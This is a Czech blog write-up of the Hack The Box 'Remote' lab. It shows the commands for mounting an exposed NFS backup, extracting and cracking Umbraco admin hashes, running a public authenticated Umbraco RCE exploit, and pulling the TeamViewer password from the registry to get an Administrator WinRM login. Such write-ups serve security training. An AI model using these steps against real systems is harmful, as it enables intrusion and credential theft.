tom@home.htb:~$

Blog o HTB

4 January 2021

Remote

Úvod a kontext

Remote nestojí na titulní stránce Umbraca, ale na exportu /site_backups přes NFS. V něm leží Umbraco.sdf i UmbracoTraceLog.intranet.txt, tedy kombinace databáze a provozních logů, ze které se dá vytáhnout jak hash administrátora, tak heslo omylem zapsané do pole pro uživatelské jméno: Umbracoadmin123!!.

Po webovém footholdu se útok přesune úplně jinam. Na hostu běží TeamViewer a v registru zůstává unattended-access tajemství, které se ukáže jako reuse heslo pro Administrator.

Remote je proto dobré číst souběžně s články Špatně vystavené datové, storage a cloud-like služby, Metadata, logy, incidentní a forenzní artefakty jako zdroj přístupů, Klientské, desktopové a ne-textové artefakty po footholdu a Password reuse a rozpad hranic mezi aplikací, SSH, WinRM a admin nástroji.

Počáteční průzkum

Vyhledání otevřených portů

Síťový průzkum ukázal web, SMB, WinRM a hlavně NFS. To je důležitá kombinace, protože zálohy publikované přes NFS často obsahují mnohem citlivější data než živý web.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//)
echo $ports
nmap -p $ports -A -sC -sV -v $IP
21/tcp    open  ftp           Microsoft ftpd
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0
111/tcp   open  rpcbind
2049/tcp  open  mountd
445/tcp   open  microsoft-ds
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0

NFS sdílení se zálohou webu

Specializovaná enumerace ukázala export /site_backups, což byl mnohem užitečnější směr než samotný web.

nmap -sV --script=nfs-showmount $IP
mount -t nfs 10.10.10.180:/site_backups /tmp/nfs -nolock
/site_backups

V záloze se nacházel soubor Umbraco.sdf, tedy interní databáze Umbraco CMS.

To je přesně ten typ pomocné datové vrstvy, která je pro útočníka hodnotnější než běžící web: záloha v sobě nese jak data aplikace, tak provozní stopy z reálného provozu.

Analýza zjištění

Databáze a logy Umbraco

Pro rychlé ověření obsahu stačilo projít databázový soubor přes strings. To sice není forenzně čistá analýza, ale v CTF a HTB kontextu je to velmi efektivní způsob, jak rychle vytáhnout uživatele, hashe a interní identifikátory.

strings Umbraco.sdf
Administrator
admin@htb.local
b8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}
ssmith
ssmith@htb.local
8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}

Starší SHA1 hash šel prolomit přímo:

hashcat -m 100 --force -a 0 hash.txt /usr/share/wordlists/rockyou.txt
admin@htb.local:baconandcheese

Ještě důležitější byly aplikační logy. V UmbracoTraceLog.intranet.txt bylo vidět, že někdo při loginu omylem zadal heslo do pole pro uživatelské jméno:

Login attempt failed for username Umbracoadmin123!! from IP address 192.168.195.1
Login attempt succeeded for username admin@htb.local from IP address 192.168.195.1

To je přesně typ provozní chyby, který mění „mám hash“ na „mám velmi pravděpodobné aktuální heslo do admin rozhraní“.

Authenticated RCE v Umbraco

Jakmile jsou k dispozici validní admin údaje, další krok je ověřit známé zranitelnosti CMS.

searchsploit umbraco
Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution | exploits/aspx/webapps/46153.py

Získání přístupu

Shell z Umbraco adminu

Umbraco exploit nebyl zajímavý sám o sobě, ale tím, že navazoval na data ze zálohy. Bez NFS sdílení by byl útok na stejné RCE slepý, protože vyžadoval ověřený administrativní účet.

python3 umbraco.py

Praktický výsledek byl PowerShell shell v kontextu webové aplikace, ze kterého šlo ověřit user.txt a pokračovat v lokální enumeraci hostu.

Eskalace oprávnění

TeamViewer jako zdroj lokálního tajemství

Po footholdu se ukázalo, že na systému běží TeamViewer. To je důležitý detail, protože unattended access hesla bývají v praxi ukládaná lokálně a často končí jako reuse heslo i pro další administrativní účet.

Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* |
  Select-Object DisplayName, DisplayVersion

reg query HKLM\SOFTWARE\Wow6432Node\TeamViewer /f SecurityPasswordAES /s
TeamViewer
FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B

Po dešifrování uložené hodnoty vyšlo heslo:

!R3m0te!

To už šlo rovnou ověřit přes WinRM:

Právě tady se naplno projeví spojení klientského artefaktu a reuse hesla: TeamViewer tajemství není jen detail vzdálené správy, ale rovnou most k administrativnímu účtu na hostu.

evil-winrm -i $IP -u Administrator -p '!R3m0te!'

V článku používám WinRM, protože je pro shell praktičtější. Stejný typ reuse tajemství ale v podobných Windows situacích často otevírá i GUI přístup přes xfreerdp, když je potřeba desktop místo čistého shellu.

Tím vznikl plně administrativní přístup a root.txt byl už jen formálním potvrzením eskalace.

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: windows - rce - smb - winrm - exploit - enumeration